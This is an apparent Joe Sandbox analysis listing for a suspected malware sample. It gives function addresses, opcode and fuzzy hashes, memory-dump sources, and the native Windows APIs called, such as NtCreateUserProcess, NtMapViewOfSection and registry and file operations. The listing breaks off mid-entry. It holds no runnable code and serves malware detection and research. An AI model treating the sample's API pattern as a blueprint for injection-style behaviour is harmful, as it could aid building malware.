API String ID: 1949606188-0
Opcode ID: 7a2151a0fa25479c3f9385fca37868c551e0e80468d78e536b9f27edc9e3e006
Instruction ID: d370e8d11e07a4456eba97730c9662f78e4121ffc47e16ce72eb8cdd47f522ea
Opcode Fuzzy Hash: 7a2151a0fa25479c3f9385fca37868c551e0e80468d78e536b9f27edc9e3e006
Instruction Fuzzy Hash: 9541E02254E3C24FD713ABB04D7A491BFB0AD2321432E86DFC4D98F4A3D649994AD763

Function 00E87E48 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

__common_dcos_data.LIBCMT ref: 00E87F3A

Memory Dump Source

Source File: 00000000.00000003.2178900486.0000000000E75000.00000004.00000020.00020000.00000000.sdmp, Offset: 00E75000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_e75000_SecuriteInfo.jbxd

Similarity

API ID: __common_dcos_data
String ID:
API String ID: 1949606188-0
Opcode ID: cc554d8728b2ad753753d7e41d7c90de65f8c42ff500e4e1394ac501c5a9d06e
Instruction ID: deb5713f91e9199cd82994c8252c5f9db4687255a30659fbf48466c4481bf9f7
Opcode Fuzzy Hash: cc554d8728b2ad753753d7e41d7c90de65f8c42ff500e4e1394ac501c5a9d06e
Instruction Fuzzy Hash: 3141026254E3C24FD313ABB04C7A491BFB0AD2321432E96DFC4D98F4A3D609980AD762

Function 005338C4 Relevance: 1.6, Strings: 1, Instructions: 368COMMON

Download Yara Rule

Strings

@, xrefs: 00533C9F

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 7f3ba136d880485fc46704877fa519cc85d59aab1f9278a3881f4e69460c36c0
Instruction ID: c05ceb1f0fc0464657357135b9db883ead65fc64c0cb2689e9b3efcfe2ab98a3
Opcode Fuzzy Hash: 7f3ba136d880485fc46704877fa519cc85d59aab1f9278a3881f4e69460c36c0
Instruction Fuzzy Hash: 56F14371E00219CBCF18CF98C4946EEFBB2FF89314F2481A9D855A7390D7759A86CB90

Function 00412380 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

<?=1, xrefs: 00412382

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: <?=1
API String ID: 0-2411229740
Opcode ID: f397680f06ed325fde675a57793d718c19918a9b7b7e0e4709e2c6bd4d3ce8c1
Instruction ID: b035d9d25109f5ab6c4f1a115111d98d3a454ff4187a2a0da8ed1cd1ad6c1bba
Opcode Fuzzy Hash: f397680f06ed325fde675a57793d718c19918a9b7b7e0e4709e2c6bd4d3ce8c1
Instruction Fuzzy Hash: 3AB17872B043105BE7149E28DD817AFB7D69BC0314F08853EF9A5C7391EAB8EC458796

Function 004035B0 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 004036B7

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
API String ID: 0-442858466
Opcode ID: a0fc23c3c4ce1bb05f6a482168209e3c071375e08a9968917c6005dde4aa0724
Instruction ID: c997fd076c93249aa8b6434fc54b3d1655a87f64af24bbb5769ddfc8977e1c49
Opcode Fuzzy Hash: a0fc23c3c4ce1bb05f6a482168209e3c071375e08a9968917c6005dde4aa0724
Instruction Fuzzy Hash: 64A15973E195905BCB188D3C8C522E9AEA75B96330F2DC37AD8B1EB3E4C53D89028355

Function 00482CF8 Relevance: 1.6, APIs: 1, Instructions: 52nativeCOMMON

Download Yara Rule

APIs

NtCreateUserProcess.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 00482D50

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: bce28a4bdd3a956079024cd43a49b5e70e66de557bfc90d66e534d34c71b85f3
Instruction ID: 3e93269413bf9755dcaf8b6daca7d7b1184c492dac4c3d1173702aec53672104
Opcode Fuzzy Hash: bce28a4bdd3a956079024cd43a49b5e70e66de557bfc90d66e534d34c71b85f3
Instruction Fuzzy Hash: 53014AB6204249BF9B10DE8ADDC4DDBBBACFB9D754B844415BB1897202C274AC51CBB0

Function 0048358C Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 004835DC

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 0567fc901b8406e38b789f4801466f6f789bd3fafe5aa6d012be96d5290baf47
Instruction ID: 4798def830df29653502ba1c7dc76e306621799832233db4536d15fa1d6e9645
Opcode Fuzzy Hash: 0567fc901b8406e38b789f4801466f6f789bd3fafe5aa6d012be96d5290baf47
Instruction Fuzzy Hash: 0C01ECB6600249BF9B00DE8ADCC4DEBBBACFB9D794B444415BB0993202C274AD11CBB0

Function 00482E14 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtNotifyChangeDirectoryFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00482E5C

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: ChangeDirectoryFileNotify
String ID:
API String ID: 1357473996-0
Opcode ID: d24d28a5855ef04bda855ea00cde8645b985f113034ff37f2a16fd06f8771fc7
Instruction ID: 4ae42d3bf80730da811663f1cf0e1dd4d28862a90e4ed39d2a6fbbfb9d2b0eee
Opcode Fuzzy Hash: d24d28a5855ef04bda855ea00cde8645b985f113034ff37f2a16fd06f8771fc7
Instruction Fuzzy Hash: A7F0F9B6200259BF9B00DE9ADCC8DEB7FACFB9E6A4B444015BA0883211C270AD10C7B0

Function 004832E0 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00483328

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d05fdaf7d23d0e1c6852ae5f2ec8713104acd211fad4c3580700853c7e713de2
Instruction ID: c13b399b45bdb9a62d0383dcb8b35c6ad854895269879a9dbeb175902251f25a
Opcode Fuzzy Hash: d05fdaf7d23d0e1c6852ae5f2ec8713104acd211fad4c3580700853c7e713de2
Instruction Fuzzy Hash: EBF0A9BA604249BF9B10DE9ADCC8DEB7B6CFB8D7A5B444415BA1897201C270AD11CBB0

Function 003F1333 Relevance: 1.5, Strings: 1, Instructions: 288COMMON

Download Yara Rule

Strings

US, xrefs: 003F10B4

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: US
API String ID: 0-1549774597
Opcode ID: 30786b6656a1d982d616da82bd31a74736b889c682f0e995b741cb358c363f83
Instruction ID: 41f239a6c3eeabdc0c771a26b0b74589aaedfd9087b7fbfc4ebdf13fb0c5237a
Opcode Fuzzy Hash: 30786b6656a1d982d616da82bd31a74736b889c682f0e995b741cb358c363f83
Instruction Fuzzy Hash: 9F816AB1900209CBCB11CF64D8926BBB3B0FF45364F298559D9569F791E332ED02CB94

Function 00482F74 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtEnumerateValueKey.NTDLL(?,?,?,?,?,?), ref: 00482FA4

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: 7ac635641cbc94e4fbc4912a90db7671703e55587d80ef85cca49f61e4a3b760
Instruction ID: fff145d0fbe559bb66e7aa5fcdd3813b567e6502c8f79695cf07396f62f185ce
Opcode Fuzzy Hash: 7ac635641cbc94e4fbc4912a90db7671703e55587d80ef85cca49f61e4a3b760
Instruction Fuzzy Hash: FFE0EDB6104158BFA7109E5ADC8CDEB7F6CDBDA7E8B00881AF60587141C2706C45D7B0

Function 00483070 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtEnumerateKey.NTDLL(?,?,?,?,?,?), ref: 004830A0

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: Enumerate
String ID:
API String ID: 304946047-0
Opcode ID: cb5799e93002d7339810e96d26a6a731d3df73b552946bdd6f1d626ca1d223cc
Instruction ID: ceb619c38f310bfa8cf6c07f4548100c0ed48823a2a139b516be88abb75e9462
Opcode Fuzzy Hash: cb5799e93002d7339810e96d26a6a731d3df73b552946bdd6f1d626ca1d223cc
Instruction Fuzzy Hash: 9FE092B6100158BFEB109B5AEC4CDEB7F6CDBC6BA9B00841ABA0483141D5346D00D3B0

Function 004830B0 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtSetValueKey.NTDLL(?,?,?,?,?,?), ref: 004830E0

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cb7b8eb0cedeca66d61c8973631bdffd56f7b3af6b08441975c2ebb4c5f9d496
Instruction ID: dd791875c98f089fa12fdd5ef939eb56044e5568a7d68691f757244b3c52db1c
Opcode Fuzzy Hash: cb7b8eb0cedeca66d61c8973631bdffd56f7b3af6b08441975c2ebb4c5f9d496
Instruction Fuzzy Hash: BEE012B66041587FAB109F5ADC48DEB7F6CEBD6BA9B04441AB50887101C5756D00C7B0

Function 004831E0 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtQueryMultipleValueKey.NTDLL(?,?,?,?,?,?), ref: 00483210

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: MultipleQueryValue
String ID:
API String ID: 23559346-0
Opcode ID: 95b7001a45572df8c30ca4ff90c85562ddf4a18464758d5d7e72a5dfa605696c
Instruction ID: 0d697e706ce7dd9a4d875137facc6ae9f5af30337e517ccde09cf7ce1ed7c86f
Opcode Fuzzy Hash: 95b7001a45572df8c30ca4ff90c85562ddf4a18464758d5d7e72a5dfa605696c
Instruction Fuzzy Hash: F8E0EDB61051587FA6109F9ADC48DEF7F6CDBDA7A9B00841AB91887141C1746D04C7B0

Function 00483778 Relevance: 1.5, APIs: 1, Instructions: 32filenativeCOMMON

Download Yara Rule

APIs

NtOpenFile.NTDLL(?,?,?,?,?,?), ref: 004837A8

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileOpen
String ID:
API String ID: 2669468079-0
Opcode ID: 174d017cd52085fa023bfbeaecfa1993763f8985ee74d132b8bb87555ebbfd2b
Instruction ID: 8fb26a6298691011650a89553af31d2c6a4b1f4374cde37144ad3bef2ac352f3
Opcode Fuzzy Hash: 174d017cd52085fa023bfbeaecfa1993763f8985ee74d132b8bb87555ebbfd2b
Instruction Fuzzy Hash: AFE0EDFA500158BFA6109A8ADC8CDFB7F6CDBD6BA9B00841AB90587240C174AD45C7B0

Function 00482BB0 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?), ref: 00482BD7

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 9a059fbccc47b5e8a3897928c94904685fd6afeb8bf08f5f4f73d08a2c512166
Instruction ID: a3e86135b8e768afd13a4076c88695e419eeaf6886065636833ad2cd8858b4d0
Opcode Fuzzy Hash: 9a059fbccc47b5e8a3897928c94904685fd6afeb8bf08f5f4f73d08a2c512166
Instruction Fuzzy Hash: A5E08CB20011587AD2106A9A9C0CDEB7FACDBE37B0B00842AB448D611082A4AC45C3B0

Function 00482D8C Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtSetVolumeInformationFile.NTDLL(?,?,?,?,?), ref: 00482DB3

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileInformationVolume
String ID:
API String ID: 2893123674-0
Opcode ID: 440d0f693c3185ba60ce966577f06db35d8aa9ee2a304aadf87d45ed0ff3c900
Instruction ID: 4ffa6c36941266bc14a3b81ff57ec843ad679579aa46420bd7f3828256353b0c
Opcode Fuzzy Hash: 440d0f693c3185ba60ce966577f06db35d8aa9ee2a304aadf87d45ed0ff3c900
Instruction Fuzzy Hash: ACE0C2B50041687EE720674EDC0CDEB7FACDBD37B0B04402AB50893100C2A8AC44D3F0

Function 00482FB4 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryKey.NTDLL(?,?,?,?,?), ref: 00482FDB

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: Query
String ID:
API String ID: 3850148591-0
Opcode ID: f5a5e913c39ba03a4a924cab57e378c279eeb5aee8c17877c27ea9f77e93420c
Instruction ID: f9e5d9d82e3a1c2f985b0b49470c494fe3ae9691d79fb0def3d62969f1414228
Opcode Fuzzy Hash: f5a5e913c39ba03a4a924cab57e378c279eeb5aee8c17877c27ea9f77e93420c
Instruction Fuzzy Hash: D4E0ECB55041547ED760AA5FAC0CEEB7F6CEBD67B4B14442AB60892110D6A4AC45D3B0

Function 00483558 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySection.NTDLL(?,?,?,?,?), ref: 0048357F

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: QuerySection
String ID:
API String ID: 1985485932-0
Opcode ID: ada1898332d55e42df49c19889f845102ed09310e092d6bcc2f5e1150de185a7
Instruction ID: ecdf0ea507a877a209a0fa19686507d202ea1077e2596430e3268d5ef908f048
Opcode Fuzzy Hash: ada1898332d55e42df49c19889f845102ed09310e092d6bcc2f5e1150de185a7
Instruction Fuzzy Hash: F4E0ECA5500154BA96206B5ADC0CEEB7F7CEBD6BB5B04452AB409922109264AE04D3B4

Function 00483684 Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtQueryInformationFile.NTDLL(?,?,?,?,?), ref: 004836AB

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileInformationQuery
String ID:
API String ID: 365787318-0
Opcode ID: 0421192dbe52ade511b7204e173fd8b5fc13332ceeadae624e4465186a1b40f2
Instruction ID: e6455a0e44b7e8005919fef8940b846301fc0f24583ac2ad3fbb5f4fc3b39c66
Opcode Fuzzy Hash: 0421192dbe52ade511b7204e173fd8b5fc13332ceeadae624e4465186a1b40f2
Instruction Fuzzy Hash: 40E08CA11001547E96246B5EDC0CEEB7FACEBD2BB5B00842AB40EA3201D264AD58C3B4

Function 00482D60 Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtOpenKeyEx.NTDLL(?,?,?,?), ref: 00482D81

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 92725da97f0dd76be48da173c92096b4450e66e39f14f25d3366d381aaa7ad92
Instruction ID: 6d19668fe7e99d3bfbfac8ded8343e6f38036786b4c151ae31d443ac9f158f3c
Opcode Fuzzy Hash: 92725da97f0dd76be48da173c92096b4450e66e39f14f25d3366d381aaa7ad92
Instruction Fuzzy Hash: 64D052B14401647EF60067ADAE0CEFB3E9CCBAA3B4F40482AB00893100D6A86C00E3B4

Function 0048327C Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtSetInformationKey.NTDLL(?,?,?,?), ref: 0048329D

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: Information
String ID:
API String ID: 2951059284-0
Opcode ID: 89e89c7c2aecae3986401ba5143378512a0de668f3ffabaf667dcfec99933c66
